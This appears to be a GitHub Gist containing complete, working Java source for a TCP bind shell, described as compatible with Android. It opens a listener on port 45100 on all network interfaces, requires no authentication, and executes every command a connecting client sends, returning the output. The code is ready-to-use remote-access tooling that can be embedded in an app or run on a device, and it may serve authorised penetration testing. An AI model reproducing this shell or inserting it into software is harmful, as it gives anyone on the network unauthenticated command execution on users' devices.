Last active
February 28, 2024 22:48
-
-
Save SeanPesce/e75739c28d0f222d8d673b5e1667b603 to your computer and use it in GitHub Desktop.
Java TCP bind shell (also compatible with Android)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Author: Sean Pesce | |
// | |
// This bind shell implementation is compatible with both standard Java and the Android SDK. | |
// By default, it listens in a new thread, on TCP port 45100, and on all network interfaces. | |
// | |
// Start the listener with default parameters like so: | |
// new BindShellTcp().start(); | |
package com.seanpesce.shell; | |
import java.io.BufferedReader; | |
import java.io.IOException; | |
import java.io.InputStreamReader; | |
import java.io.PrintWriter; | |
import java.lang.reflect.InvocationTargetException; | |
import java.lang.reflect.Method; | |
import java.net.ServerSocket; | |
import java.net.Socket; | |
public class BindShellTcp { | |
public static final String TAG = "SeanP Bind Shell"; | |
public static final int DEFAULT_PORT = 45100; | |
public static final boolean DEFAULT_ASYNC = true; | |
public int mPort = DEFAULT_PORT; | |
public boolean mAsync = DEFAULT_ASYNC; | |
public Runnable mServerRunnable = null; | |
public Thread mServerThread = null; // Only for asynchronous server | |
public BindShellTcp() { | |
this(DEFAULT_PORT, DEFAULT_ASYNC); | |
} | |
public BindShellTcp(int port) { | |
this(port, DEFAULT_ASYNC); | |
} | |
public BindShellTcp(boolean async) { | |
this(DEFAULT_PORT, async); | |
} | |
public BindShellTcp(boolean async, int port) { | |
this(port, async); | |
} | |
public BindShellTcp(int port, boolean async) { | |
this.mPort = port; | |
this.mAsync = async; | |
this.mServerRunnable = new Runnable() { | |
@Override | |
public void run() { | |
try { | |
ServerSocket serverSocket = new ServerSocket(BindShellTcp.this.mPort); | |
printLog(TAG, "Server started and listening on " + serverSocket.getInetAddress() + ":" + BindShellTcp.this.mPort + "..."); | |
while (true) { | |
Socket clientSocket = serverSocket.accept(); | |
printLog(TAG, "Client connected: " + clientSocket.getInetAddress()); | |
// Start a new thread for each connected client | |
Thread clientThread = new Thread(new ClientHandler(clientSocket)); | |
clientThread.start(); | |
} | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
}; | |
printLog(TAG, "Initialized bind shell"); | |
} | |
public void start() { | |
printLog(TAG, "Starting" + (this.mAsync ? " asynchronous" : "") + " bind shell"); | |
if (this.mAsync) { | |
this.mServerThread = new Thread(this.mServerRunnable); | |
this.mServerThread.start(); | |
} else { | |
this.mServerRunnable.run(); | |
} | |
} | |
private static class ClientHandler implements Runnable { | |
private Socket clientSocket; | |
public ClientHandler(Socket clientSocket) { | |
this.clientSocket = clientSocket; | |
} | |
@Override | |
public void run() { | |
try { | |
PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true); | |
BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); | |
out.println("[Connected to Android bind shell by Sean Pesce]"); | |
String inputLine; | |
while ((inputLine = in.readLine()) != null) { | |
printLog(TAG, "Received from client " + clientSocket.getInetAddress() + ": " + inputLine); | |
String normalizedCmd = inputLine.trim().toLowerCase(); | |
if (normalizedCmd.isEmpty()) { | |
continue; | |
} | |
if (normalizedCmd.equals("exit") || normalizedCmd.equals("quit")) { | |
break; | |
} | |
executeCommand(inputLine, out); | |
} | |
clientSocket.close(); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
private void executeCommand(String command, PrintWriter out) { | |
try { | |
Process process = Runtime.getRuntime().exec(command); | |
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); | |
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); | |
String line; | |
while ((line = reader.readLine()) != null) { | |
out.println(line); | |
} | |
while ((line = errorReader.readLine()) != null) { | |
out.println(line); | |
} | |
} catch (IOException e) { | |
out.println("Error executing command: " + e.getMessage()); | |
printLog(TAG, "Error executing command: " + e.getMessage(), true); | |
} | |
} | |
} | |
// Platform-agnostic print function | |
public static void printLog(String tag, String msg, boolean isError) { | |
try { | |
Class<?> logCls = Class.forName("android.util.Log"); | |
String methodName = isError ? "e" : "i"; | |
Method logMethod = logCls.getMethod(methodName, String.class, String.class); | |
logMethod.invoke(null, tag, msg); | |
return; | |
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | | |
InvocationTargetException err) { | |
// Not running on Android | |
} | |
String logMsg = "[" + tag + "] " + msg; | |
if (isError) { | |
System.err.println(logMsg); | |
} else { | |
System.out.println(logMsg); | |
} | |
} | |
// Platform-agnostic print function (overload) | |
public static void printLog(String tag, String msg) { | |
printLog(tag, msg, false); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment